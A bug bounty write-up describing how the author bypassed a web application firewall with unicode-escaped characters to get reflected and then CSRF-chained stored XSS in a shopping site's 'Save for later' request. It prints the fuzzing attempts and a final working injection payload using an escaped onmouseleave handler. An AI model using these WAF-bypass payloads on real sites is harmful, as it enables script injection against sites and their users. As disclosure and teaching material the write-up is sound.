Unicode vs WAF — XSS WAF Bypass .

Hi readers ,

At 1st Eid Mubarak to all . May Allah bring you joy, happiness, peace and prosperity on this blessed occasion. Wishing you and your family on this happy occasion of Eid! Eid Mubarak! So on this blessed occasion I thought let’s share one of my finding as Eid bonus 😜 !

From title you may came to know this is a write-up about XSS WAF bypass using UNICODE . So let’s give you a small idea about the application I was testing . There was a option called Save for later what saves items in your account for later use . The request looks like :-

Our target applications Save for later option request

If a user is properly authenticated then this post request will save items in users account for later use and if a user is not properly authenticated then it will just reflect back with some values . So I was manually fuzzing around with parameters and noticed channel parameter value is being reflected in response body without proper escaping in both authenticated & unauthenticated scenario . I send a request with channel parameter value look like “channel”:”xss\”><” and the response was :-

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
data-productid="<ID>" data-channel="xss"><" data-quantity="1"
data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

Our inputted value is inside <a> tag and we can escape out of it as quotes & less-than/greater-than sign is not being filtered properly . So I thought I have a lot of way to do XSS here until I inputted “channel”:”xss\”onclick=\”alert(1)” and the response was :-

WAF ! WAF ! WAF !!! 🤕

So there is a WAF in place . To bypass it I started fuzzing and the result was :-

"channel":"xss\"onclick=\"alert(1)" ==> WAF
"channel":"xss\"xss=\"alert(1)" ==> WAF
"channel":"xss\"onclick=\"alert(1)" ==> WAF
"channel":"xss\"xss=\"xxx(1)" ==> No WAF

So I tried to create a tag instead of adding event attributes in <a> tag and I inputted “channel”:”xss\”><xss>test” and the response was :-

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
data-productid="<ID>" data-channel="xss">test" data-quantity="1"
data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

So it’s also removing what’s context looks like a tag . So we don’t have advantage of creating a tag . So our only way is using event attributes in <a> tag by bypassing the WAF . So I tried to do a bruteforce using html-event-attributes.txt by fuzzdb to see if any event is not being blocked by WAF and got nothing interesting . Then I though about unicodes and inputted a random unicode to see if it’s decoding in response or not and bingo it’s decoding unicodes to it’s orginal chars . So now I started playing with unicode+events again and the result was :-

"channel":"xss\"\u003E\u003Cxss\u003Etest" ==> data-channel="xss"><xss>test"
"channel":"xss\"xss=\"co\u006efirm(domain)" ==> No WAF
"channel":"xss\"onc\u006Cick=\"co\u006efirm(domain)" ==> HTTP/1.1 403 Forbidden

So we got a new advantage and also a new problem here .

  • Advantage is we can now create HTML tags using unicodes .
  • Disadvantage is even after using unicodes we are getting a new error HTTP/1.1 403 Forbidden when we add a event onc\u006Cick .

So again I made a wordlist from html-event-attributes.txt + Unicode and I got onmous\u0045leave & ond\u0072ag events giving HTTP/1.1 200 OK and also we can create HTML tags . So I made my final payload :-

xss\"\u003E\u003Ch1  onmous\u0045leave=co\u006efirm(domain)\u003ECome to Me\u003C/h1\u003E\u003Cbr\u003E\u003C!--

And response body was :-

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
data-productid="<ID>" data-channel="xss"><h1 onmouseleave=confirm(domain)>come to me</h1><br><!--" data-quantity="1"
data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>
POST based XSS For unauthenticated users

Take mouse pointer in come to me and leave it & boom 😎🤗

Now as this is a POST Request and there is no CSRF protection In place so I chained CSRF + XSS = P2 Stored XSS for authenticated users 😎 .

CSRF + XSS = P2 Stored XSS for authenticated users 😎

Thanks for reading . Take a look at my YouTube channel for some POC I shared .

Follow me on :-

Cheers 😋😉